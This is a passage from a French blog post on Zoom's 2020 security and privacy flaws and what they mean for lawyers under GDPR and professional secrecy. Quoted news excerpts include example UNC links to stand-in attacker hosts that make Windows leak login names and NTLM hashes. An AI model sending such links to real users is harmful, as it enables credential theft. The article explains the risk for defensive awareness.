href=\"https://citizenlab.ca/2020/04/move-fast-roll-your-own-crypto-a-quick-look-at-the-confidentiality-of-zoom-meetings/\">reported</a></em></li><li><em>Zoom&nbsp;<a href=\"https://zoom.us/docs/doc/Zoom-Security-White-Paper.pdf\">documentation</a>&nbsp;claims that the app uses \"AES-256\" encryption for meetings where possible. However, we find that in each Zoom meeting, a single AES-128 key is used in ECB mode by all participants to encrypt and decrypt audio and video. The use of ECB mode is not recommended because patterns present in the plaintext are preserved during encryption.</em></li><li><em>The AES-128 keys, which we verified are sufficient to decrypt Zoom packets intercepted in Internet traffic, appear to be generated by Zoom servers, and in some cases, are delivered to participants in a Zoom meeting through servers in China, even when all meeting participants, and the Zoom subscriber\'s company, are outside of China. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">Reported by the Security expert Schneier in his blog</a> </em></li><li><em><a href=\"https://blog.cryptographyengineering.com/2020/04/03/does-zoom-use-end-to-end-encryption/\">Does Zoom uses end to end encryption?</a> </em></li><li><em>Warning: Zoom Makes Encryption Keys In China (Sometimes)</em></li><li><em>Where is the EU DPA investigation? Once again, Eu personal data is in between China interception and the US Cloud Act interception. Data sent outside the EU in China without users knowledge. \"As <a href=\"https://medium.com/hashtag-resist/using-zoom-for-activism-think-about-security-1c4f2903275a\">Citizen Lab</a> hadn’t sent its findings to Zoom, saying it was in the public interest to release the information as soon as possible, the videoconferencing company wouldn’t have been aware of the findings. But Yuan assured that if user data was being transferred to China when users weren’t even based there, “we are willing to address that.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On apprend ainsi\nmême que Zoom transfèrerait des données pour encryptage en Chine, ce que le CEO\nn’a pas manqué de reconnaitre, accidentellement a-t-il dit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://theintercept.com/2020/04/03/zooms-encryption-is-not-suited-for-secrets-and-has-surprising-links-to-china-researchers-discover/\">Zoom’s Encryption Is “Not Suited For Secrets” And Has\nSurprising Links To China, Researchers Discover</a><strong> </strong></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Les déboires ne s’arrêtent pas là, 1er Avril une nouvelle est tombée, Zoom\ns’emparerait des passwords sauvegardés par Windows:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On\n4/1, we learned that Zoom for Windows can be used to&nbsp;</em><em><a href=\"https://arstechnica.com/information-technology/2020/04/unpatched-zoom-bug-lets-attackers-steal-windows-credentials-with-no-warning/\">steal</a>&nbsp;users\'\nWindow credentials.</em></li><li><em>Attacks\nwork by using the Zoom chat window to send targets a string of text that\nrepresents the network location on the Windows device they\'re using. The Zoom\napp for Windows automatically converts these so-called&nbsp;</em><em><a href=\"https://www.lifewire.com/unc-universal-naming-convention-818230\">universal naming convention</a>&nbsp;strings -- such as \\\\attacker.example.com/C$ --\ninto clickable links. In the event that targets click on those links on\nnetworks that aren\'t fully locked down, Zoom will send the Windows usernames and\nthe corresponding&nbsp;<a href=\"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-minimum-session-security-for-ntlm-ssp-based-including-secure-rpc-servers\">NTLM</a>&nbsp;hashes\nto the address contained in the link</em>.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le\n2 avril on apprenait que Zoom accèderait à des données personnelles extraites\ndes profiles Linkedin des utilisateurs :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>On 4/2, we learned that Zoom&nbsp;</em><em><a href=\"https://www.nytimes.com/2020/04/02/technology/zoom-linkedin-data.html\">secretly displayed</a>&nbsp;data from people\'s LinkedIn\nprofiles, which allowed some meeting participants to snoop on each other. <a href=\"https://www.schneier.com/blog/archives/2020/04/security_and_pr_1.html\">(Zoom has fixed this one.)</a></em></li><li><em><a href=\"https://tidbits.com/2020/04/03/every-zoom-security-and-privacy-flaw-so-far-and-what-you-can-do-to-protect-yourself/\">Every Zoom Security and Privacy Flaw So Far, and What\nYou Can Do to Protect Yourself</a> </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Très vite ont surgi les nouvelles d’intrus s’invitant au milieu des\nmeetings, intrusion qualifiée de ‘ZoomBombing’&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://mashable.com/article/videoconference-crashed-naked-man-privacy/?europe=true\">Naked\nman crashing school\'s video call is a privacy lesson for all</a></em></li><li><em><a href=\"/www.insidehighered.com/news/2020/03/26/zoombombers-disrupt-online-classes-racist-pornographic-content#.Xn26Zv4up1Y.linkedin\">Online Zoom classes were disrupted by individuals\nspewing racist, misogynistic or vulgar content. Experts say professors using\nZoom should familiarize themselves with the program\'s settings.</a></em></li><li><em><a href=\"https://techcrunch.com/2020/03/17/zoombombing/\">Suddenly, dozens of attendees were bombarded with disturbing imagery. A\ntroll entered the call and screenshared Two Girls, One Cup and other horrifying\nsexual videos. Attempts to block the attack were thwarted as the perpetrator\nsimply re-entered the call</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Autre problème éventuellement solutionné par Zoom,\nl’envoi de données à Facebook par utilisation de SDK dénoncé par <a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">Motherboard</a> :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Last week, after an&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\" target=\"_blank\" rel=\"noreferrer noopener\">article on the\nnews site Motherboard</a>&nbsp;reported\nthat software inside the Zoom iPhone app was sending user data to Facebook, the\ncompany said it was&nbsp;<a href=\"https://www.vice.com/en_us/article/z3b745/zoom-removes-code-that-sends-data-to-facebook\" target=\"_blank\" rel=\"noreferrer noopener\">removing the\ntracking software</a>.</em></li><li><em>Zoom, like other apps, uses <strong>Facebook\'</strong>s software development\nkits (SDK) to implement features quickly. In exchange, Facebook gains useful\ninformation about users. As Vice\'s Motherboard explains, Zoom connects to\nFacebook\'s Graph API, which is the way developers get data in or out of\nFacebook.</em><em></em></li><li><em>The Zoom app notifies Facebook when the user opens the app,\ndetails on the user\'s device such as the model, the time zone and city they are\nconnecting from, which phone carrier they are using, and a unique advertiser\nidentifier created by the user\'s device which companies can use to target a\nuser with advertisements.</em><em></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Zoom a bien modifié cette faille invitant les utilisateurs de mettre à jour\nleur Application&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"/winbuzzer.com/2020/03/31/zoom-removes-its-facebook-data-sharing-on-ios-amid-possible-gdpr-violations-xcxwbn\">Zoom Removes Its Facebook Data Sharing on iOS amid\nPossible GDPR Violations</a></em></li><li><em>Zoom has removed its <strong>Facebook SDK</strong> for iOS integration\nafter a report&nbsp;</em><em><a href=\"https://www.vice.com/en_us/article/k7e599/zoom-ios-app-sends-data-to-facebook-even-if-you-dont-have-a-facebook-account\">from Motherboard</a>.</em></li><li><em>the developers</em><em><a href=\"https://blog.zoom.us/wordpress/2020/03/27/zoom-use-of-facebook-sdk-in-ios-client/\">&nbsp;in a statement</a>.&nbsp;“Users will need to update to the\nlatest version of our application that’s already available at 2:30 p.m. Pacific\ntime on Friday, March 27, 2020, in order for these changes to take hold, and we\nstrongly encourage them to do so. “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le <a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">Electronic Frountier Foundation</a> alerte de ce que les utilisateurs ignorent\ntoujours comment effacer les informations recueillies</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>Zoom has not offered guidance on how users can delete any\ninformation that was gathered about their device. This removal also doesn’t\naddress any of the app’s other potential privacy issues.&nbsp;</em><em><a href=\"https://www.eff.org/deeplinks/2020/03/what-you-should-know-about-online-tools-during-covid-19-crisis\">The EFF points out</a>&nbsp;that Zoom administrators can get\ndetailed information about how, when, and where users are using the app, with\nreal-time dashboards. As it’s an intentional feature, it’s unlikely the\ncompanywill address this.</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>On lit dans le magazine <a href=\"https://www.forbes.com/sites/thomasbrewster/2020/04/03/warning-zoom-sends-encryption-keys-to-china-sometimes/\">Forbes :</a> </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>‘<em>Ultimately,\nanyone having sensitive conversations should therefore consider whether Zoom is\nsuitable, he noted. “I would think very carefully before I used Zoom to\ncommunicate classified information, trade secrets or confidential medical\ndata,” Marczak said. “If you are a human rights defender, lawyer, journalist,\nor anyone else working on sensitive topics that you think a nation-state or\nother powerful adversary might be interested in, I would advise you to wait for\nZoom to make security improvements in their app before you use it.”</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Apple a introduit\nune mise à jour afin d’éliminer le ‘<em>hidden Zoom web server’</em>&nbsp;:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://bgr.com/2020/04/04/zoom-security-private-video-chats-online/\">Thousands\nof Zoom video calls left exposed on open Web</a></em></li><li><em><a href=\"/techcrunch.com/2019/07/10/apple-silent-update-zoom-app\">Apple has pushed a silent Mac\nupdate to remove hidden Zoom web server</a></em></li><li><em>It appears you can&nbsp;</em><em><a href=\"https://www.bleepingcomputer.com/news/security/zoom-client-leaks-windows-login-credentials-to-attackers/\" target=\"_blank\" rel=\"noreferrer noopener\">snaffle</a>&nbsp;people\'s Windows local login\nusernames and hashed passwords via Zoom by getting them to click on a URL in a\nchat message that connects to a malicious SMB file server. A link such as&nbsp;</em><code><em>\\\\evil.server.com\\foorbar.jpg</em></code><em>&nbsp;will, when clicked\non, cause Windows to connect to&nbsp;</em><code><em>evil.server.com</em></code><em>, supplying the logged-in\nuser\'s credentials in hope of fetching&nbsp;</em><code><em>foobar.jpg</em></code><em>.</em><em></em></li><li><em>Ex-NSA hacker\ndrops new zero-day doom for Zoom. Hot on the heels of two security researchers&nbsp;<a href=\"https://twitter.com/hackerfantastic/status/1245133371262619654\">finding a Zoom bug</a>&nbsp;that can be abused to steal\nWindows passwords, another security researcher found two new bugs that can be\nused to take over a Zoom user’s Mac, including tapping into the webcam and\nmicrophone.</em></li><li><em>Patrick Wardle, a former NSA hacker and now principle\nsecurity researcher at Jamf, dropped the two previously undisclosed flaws&nbsp;</em><em><a href=\"https://objective-see.com/blog/blog_0x56.html\">on his blog</a>&nbsp;Wednesday, which he shared <a href=\"https://techcrunch.com/2020/04/01/zoom-doom/\">with TechCrunch</a>. </em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Bien évidemment\navec le succès galopant de Zoom, on constate une recrue de ‘<em>fake Zooms’</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">Researchers\nsee sharp rise in fake Zoom domains as hackers target remote workers</a> </em><em><a href=\"https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/\">https://siliconangle.com/2020/03/30/researchers-see-sharp-rise-fake-zoom-domains-hackers-target-remote-workers/</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Transfert de données personnelles\nhors EU/EEA</strong><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Zoom\nest une société basée en Californie. A ce titre il est self certifié Privacy\nShield.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Cependant\n<a href=\"https://theintercept.com/2020/03/31/zoom-meeting-encryption/\"><em>Intercept</em></a> a révélé le transfert des données\nvers la Chine. Le CEO a reconnu ce fait l’attribuant à une simple erreur d’aiguillage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Or,\nnul ne peut ignorer la guerre de l’espionnage industriel. Zoom, comme toute société\naméricaine est sujette au US Cloud Act. Autrement dit à tout moment les données\npeuvent être réclamées par le gouvernement US.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><a href=\"https://www.foxnews.com/tech/coronavirus-crisis-zooms-presence-china-under-scrutiny\" target=\"_blank\" rel=\"noreferrer noopener\">As Usage Booms Amid Coronavirus\nCrisis, Zoom’s R&amp;D Presence In China Under Scrutiny</a> </li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Data breach ou accès non autorisé aux données</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Tout accès non autorisé aux données personnelles doit être évalué quant au sérieux\ndes conséquences potentielles pour les individus concernés. En cas de risque\ngrave, ils doivent être notifiés au plus vite et pas plus tard que <strong>dans les\n72 heures</strong>. L’autorité de protection des données doit être notifié au plus\ntard dans les 72 heures. Dans tous les cas le data breach doit être repertorié\nau registre interne conformément aux dispositions de <strong>l’art. 33 [_</strong><a href=\"https://awallon.com:15001/d/s/546474503562114839/2vQoztRp5iZOj061hTrsbdijXm14s8fR-sruARj6tlgc_\"><strong>RGPD33</strong></a><strong>_]</strong>. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Posting <strong>screen shots</strong> de visio-conférence révélant le ID number du meeting et les images des participants accompagnées de leur noms ou pseudonymes peut être considérées comme une rupture de confidentialité,</li><li><strong>2 exemples</strong> majeurs récents&nbsp;: <a href=\"https://www.securityweek.com/zooms-security-and-privacy-woes-violated-gdpr-expert-says\">Boris Johnson</a> le CNB postant une réunion du conseil ou leur AG.</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Le cas particulier de l’usage d’un tel outil par\ndes avocats ou ordre professionnel</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans un contexte ou tant de cris d’alarmes ont été lancés à propos des manquements de cet outil, comme le New York Attorney General investigations demandant aux écoles de ne pas utiliser l’application, suivi par d’autres autorités étatiques.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em><a href=\"https://www.nytimes.com/2020/03/30/technology/new-york-attorney-general-zoom-privacy.html\">NY\nAttorney General to look at Zoom </a>&nbsp;:</em></li><li><em><a href=\"https://www.politico.com/news/2020/04/03/multiple-state-ags-looking-into-zooms-privacy-practices-162743\">Multiple\nstate AGs looking into Zoom’s privacy practices</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Utilisation de\nvidéo-conférences pour des tenues d’audience&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Le 3 avril, Maitre Aymeric Duhesne du Cabinet Montesquieu a annoncée sur\nLinkedin&nbsp;: </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>«&nbsp;Avec Le Bâtonnier Stephane Dhonte,\nle greffe du Tribunal de Commerce de Lille Métropole et le juge des référés,\nnous venons de finaliser le test de la 1ère audience en visioconférence comme\nle permet l’ordonnance 2020-304 du 25.03.20. Le Barreau de Lille et ses avocats\nsont force de proposition et de solution immédiatement opérationnelle et\nmarquent ainsi leur détermination à permettre la continuité de l’accès au droit\naux justiciables, particuliers et entreprises, malgré la crise sanitaire. Des\ndossiers pourront à nouveau être entendus dès la semaine prochaine et des\ndécisions rendues.”</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Parallèlement, Stephen\nAlmaseanu, Vice procureur au Parquet de Paris, Section F2 (adjoint du chef de\nla section, chargé des affaires commerciales) announcait sur Linkedin:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Le Tribunal de commerce de Paris vient de\ntenir, mercredi 1et et jeudi 2 avril 2020, deux journées d’audiences dématérialisées\nqui se sont très bien déroulées. Plus de 40 dossiers urgents, notamment en\nraison de la présence de salariés impayés, ont été traités par visioconférence\nen utilisant </em><a href=\"https://www.linkedin.com/company/tixeo/\"><strong><em>TIXEO</em></strong></a><em>, logiciel\nfrançais assurant une totale confidentialité des débats grâce à des liaisons\nentièrement chiffrées, ce qui lui permet d’être certifié par l’</em><a href=\"https://www.linkedin.com/company/anssi-fr/\"><strong><em>ANSSI - Agence nationale de la sécurité des systèmes\nd\'information</em></strong></a><em>. Il s’agissait d’ouvertures de liquidations\net de conversions en liquidation, mais également d’ouvertures de redressements\njudiciaires (rappelons d’ailleurs ici que depuis le début du confinement de\nnombreux mandats ad hoc et conciliations ont également été ouverts). Bravo\nnotamment au greffe du Tribunal, qui a organisé ces audiences très lourdes à\nmettre en place en prévenant tous les intervenants (dirigeants, conseils, AJMJ,\nreprésentants des salariés) de l’heure exacte du passage de leur dossier pour\nque chacun puisse se connecter au bon moment). Bravo également aux juges et à\ntous les intervenants qui ont permis la tenue de ces premières audiences très\nutiles, qui permettent aux entreprises parisiennes de continuer à avoir accès\nau tribunal en cas d’urgence.</em>”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maitre Emmanuel Brunau du Mans annonçait hier\ntoujours sur Linkedin :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>“<em>Pour information, le greffe du tribunal\nde commerce du Mans fonctionne normalement malgré la fermeture de la Cité\njudiciaire. Une permanence téléphonique est maintenue aux horaires habituels.\nEnfin pour faire face à l\'urgence, des audiences d\'ouverture de procédures collectives\nen visioconférence sécurisée TIXEO se tiennent tous les mardi pendant le\nconfinement.”</em><em></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Là où les\ninitiatives tombent au compte-gouttes en France, du côté anglo-saxon une\ninitiative concertée a émergé :</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em><a href=\"https://www.linkedin.com/feed/update/urn:li:activity:6650510564797878273/\">Launched\ntoday: REMOTE COURTS WORLDWIDE, designed to help the global community of\njustice workers share experiences of \'remote\' alternatives (audio, video,\nonline) to traditional courts. This is a joint effort involving </a><a href=\"https://www.linkedin.com/company/scl-society-for-computers-and-law-/\">SCL - Society for Computers and Law</a></em><em> , <a href=\"https://www.linkedin.com/company/hm-courts-&amp;-tribunals-service/\">HM Courts &amp; Tribunals Service (HMCTS)</a>, and the UK\'s\nLawTech Delivery Panel. We must seize the moment and come together to\naccelerate the development of new ways of continuing to deliver just outcomes\nfor court users. Please contribute content at</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Nonobstant la popularité de cet outil de visio-conférence, les cris d’alarmes continuent à se faire entendre contre l’utilisation de Zoom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://epic.org/\">EPIC, Electronic Privacy Information Center</a>,\ndemande investigations au FTC</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“<a rel=\"noreferrer noopener\" href=\"https://twitter.com/JLLeitschuh/status/1148310958391091200\" target=\"_blank\">Jonathan Leitschuh</a>, exposed a flaw allowing hackers to&nbsp;<a rel=\"noreferrer noopener\" href=\"https://www.vox.com/recode/2019/7/9/20687689/zoom-mac-vulnerability-medium-jonathan-leitschuh-camera\" target=\"_blank\">take over Zoom webcams</a>. The letter noted that the company did not address problem until after the Electronic Privacy Information Center, a public interest research center,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://epic.org/privacy/zoom/EPIC-FTC-Complaint-In-re-Zoom-7-19.pdf\" target=\"_blank\">filed a complaint&nbsp;</a>about Zoom with the Federal Trade Commission last year</em>.”</li><li>“<em>According to EPIC,&nbsp;<a rel=\"noreferrer noopener\" href=\"https://medium.com/bugbountywriteup/zoom-zero-day-4-million-webcams-maybe-an-rce-just-get-them-to-visit-your-website-ac75c83f4ef5\" target=\"_blank\">Zoom</a>&nbsp;intentionally designed its web conferencing service to bypass browser security settings and remotely enable a user\'s web camera without the knowledge or consent of the user. As a result, Zoom exposed users to the risk of remote surveillance, unwanted videocalls, and denial-of-service attacks,” <a href=\"https://decrypt.co/23283/zoom-is-watching-you-heres-what-you-can-do-about-it\">the complaint alleged.</a></em>” </li><li><em>“EPIC Urges FTC to Investigate Zoom, Issue Best Practices for Online Conferencing In a letter to FTC Chairman Joe Simons, EPIC urged the FTC to \"open an investigation of Zoom\'s business practices and to issue, as soon as practicable, Best Practices for Online Conferencing Services.\" <a href=\"https://lnkd.in/epjxHgw\">Here’s the press release</a> “</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Le FBI lance des alertes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Earlier this week, the FBI&nbsp;</em><em><a href=\"https://www.fbi.gov/contact-us/field-offices/boston/news/press-releases/fbi-warns-of-teleconferencing-and-online-classroom-hijacking-during-covid-19-pandemic\" target=\"_blank\" rel=\"noreferrer noopener\">warned</a>&nbsp;of so-called “Zoom-bombing” or\nvideoconference hacking. “The FBI has received multiple reports of conferences\nbeing disrupted by pornographic and/or hate images and threatening language,”\nit said.” <a href=\"https://edition.cnn.com/2020/04/02/us/fbi-warning-zoombombing-trnd/index.html\">Published by CNN</a></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>-&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n<strong><em>Zoom needs to clean up its privacy act</em></strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>“Privacy advocacy group\nAccess Now, meanwhile, dug into Zoom’s privacy policy and practices and didn\'t\nlike what it saw,&nbsp;</em><em><a href=\"https://www.accessnow.org/access-now-urges-transparency-from-zoom-on-privacy-and-security/\" target=\"_blank\" rel=\"noreferrer noopener\">sending\na letter</a>&nbsp;to the\ncompany on March 19 asking it to publish a transparency report along the same\nlines as other companies that made it plain exactly what the company was doing\nwith its users’ data. “ <a href=\"https://blogs.harvard.edu/doc/2020/03/27/zoom/\">Harvard Blog</a></em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>“Attorney General Tong Issues Recommendations for Safe Video Conferencing. “Earlier this week, I attended a Zoom conference that was ‘bombed’ by hundreds of profane and racist comments. Needless to say, I am familiarizing myself with these platforms’ privacy and security features, too. My office has been in contact with representatives from Zoom to address this and other issues relating to online security and privacy,” said Attorney General Tong. “ In the meantime, Attorney General Tong encouraged everyone to practice safer video conferencing by: • Ensuring that your video conference software is up to date. • Confirming that your conferences are private, either by requiring a password for entry or controlling guest access through a virtual waiting room. • Checking that the highest security settings are applied for your teleconference platform. • Consult your software company’s security information or your IT department. <a href=\"https://lnkd.in/gRcq9x2\">Here\'s the press release</a> <strong>”</strong></em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>Quel peut-être la responsabilité des juristes en matière de traitement des données consécutifs à l’utilisation d’une application qui a soulevé tant de tôlés </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Un avocat est tenu par le secret professionnel qu’il se doit de garantir. La loi du 31 décembre 1971, et plus particulièrement les dispositions de son article 66-5 impliquent qu’« <em>en toutes matières, que ce soit dans le domaine du conseil ou dans celui de la défense, les consultations adressées par un avocat à son client ou destinées à celui-ci, les correspondances échangées entre le client et son avocat, entre l’avocat et ses confrères à l’exception pour ces dernières de celles portant la mention « officielle », les notes d’entretien et, plus généralement, toutes les pièces du dossier sont couvertes par le secret professionnel</em> »</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>Nécessité d’une </strong><strong>étude d’impact à réaliser avant l’adoption\nde la nouvelle technologie, </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Afin de s’assurer du bon respect des règles de protection des données\ntelles que sus-développées, les avocats sur les pas de leurs ordres\nprofessionnels, doivent s’assurer de la conformité des moyens techniques utilisés.\nLa confidentialité des informations dont ils sont mis en charge leur impose la\nplus grande vigilance. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dans ce contexte, une évaluation de l’impact de la nouvelle technologie sur\nla protection des données traitées s’impose avant tout usage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>La CNIL explique&nbsp;:</strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’AIPD est un outil\nimportant pour la responsabilisation des organismes&nbsp;: elle les aide non\nseulement à construire des traitements de données respectueux de la vie privée,\nmais aussi à démontrer leur conformité au Règlement général sur la protection\ndes données (RGPD). Elle est obligatoire pour les traitements susceptibles\nd’engendrer des risques élevés.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li><em>L\'AIPD&nbsp;se décompose en trois parties :</em></li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>Une description détaillée&nbsp;du traitement mis en œuvre, comprenant tant les aspects techniques qu’opérationnelsL’évaluation, de nature plus juridique, de la nécessité et de la proportionnalité concernant les principes et droits fondamentaux&nbsp; (finalité, données et durées de conservation, information et droits des personnes, etc.) non négociables, qui sont fixés par la loi et doivent être respectés, quels que soient les risques ;  </em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>L’étude, de nature plus technique, des risques sur la sécurité des données&nbsp;(confidentialité, intégrité et disponibilité)&nbsp;ainsi que &nbsp;leurs impacts potentiels sur la vie privée, qui permet de déterminer les mesures techniques et organisationnelles nécessaires pour protéger les données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>On note qu’analyse\nd’impact relative à la protection des données, AIPD&nbsp;(Data Protection\nImpact Assessment, terme retenu dans le RGPD) et PIA (Privacy Impact\nAssessment, terme plus commun utilisé dans d’autres régions du monde) sont\nsynonymes.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><li>Une Analyse d’Impact est obligatoire lorsque, toujours selon la CNIL&nbsp;:</li></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><em>…le traitement est\n«&nbsp;susceptible d’engendrer un risque élevé pour les droits et libertés des\npersonnes concernées&nbsp;».</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement envisagé figure dans&nbsp;</em><a rel=\"noreferrer noopener\" href=\"https://www.cnil.fr/sites/default/files/atoms/files/liste-traitements-aipd-requise.pdf\" target=\"_blank\"><em>la liste des types d’opérations de traitement</em></a><em>&nbsp;pour lesquelles la CNIL a estimé obligatoire de réaliser une analyse d’impact relative à la protection des données.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement remplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices du G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Soit le traitement\nremplit au moins&nbsp;deux des neuf critères&nbsp;issus des lignes directrices\ndu G29 :</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>évaluation/scoring&nbsp;(y\ncompris le profilage)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>décision automatique avec\neffet légal ou similaire&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>surveillance\nsystématique&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\nsensibles ou données à caractère hautement personnel ;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>collecte de données\npersonnelles à large échelle&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>croisement de\ndonnées&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>personnes vulnérables\n(patients, personnes âgées, enfants,&nbsp;etc.)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>usage innovant\n(utilisation d’une nouvelle technologie)&nbsp;;</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>exclusion du bénéfice\nd’un droit/contrat.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Exemple&nbsp;: une entreprise\nmet en place un traitement publicitaire visant à collecter les données de\ngéolocalisation de plusieurs millions d’individus pour créer des profils\npublicitaires et leur afficher de la publicité ciblée en fonction de leurs\ndéplacements &nbsp;; ce traitement remplit le critère de la collecte à grande\néchelle et celui de la collecte de données sensibles (données de localisation),\ndonc la réalisation d’une AIPD&nbsp;sera nécessaire.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><strong>En l’absence des mesures d’évaluation des risques, l’avocat négligeant s’engage à la mise en cause de sa responsabilité. Les ordres professionnels devraient être sensibilisés à ce risque et accompagner leurs adhérents dans la recherche d’une solution conforme aux exigences du règlement. </strong></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>La loi du 31\ndécembre 1971, et plus particulièrement par les dispositions de son article\n66-5 impliquent qu’« en toutes matières, que ce soit dans le domaine du conseil\nou dans celui de la défense, les consultations adressées par un avocat à son\nclient ou destinées 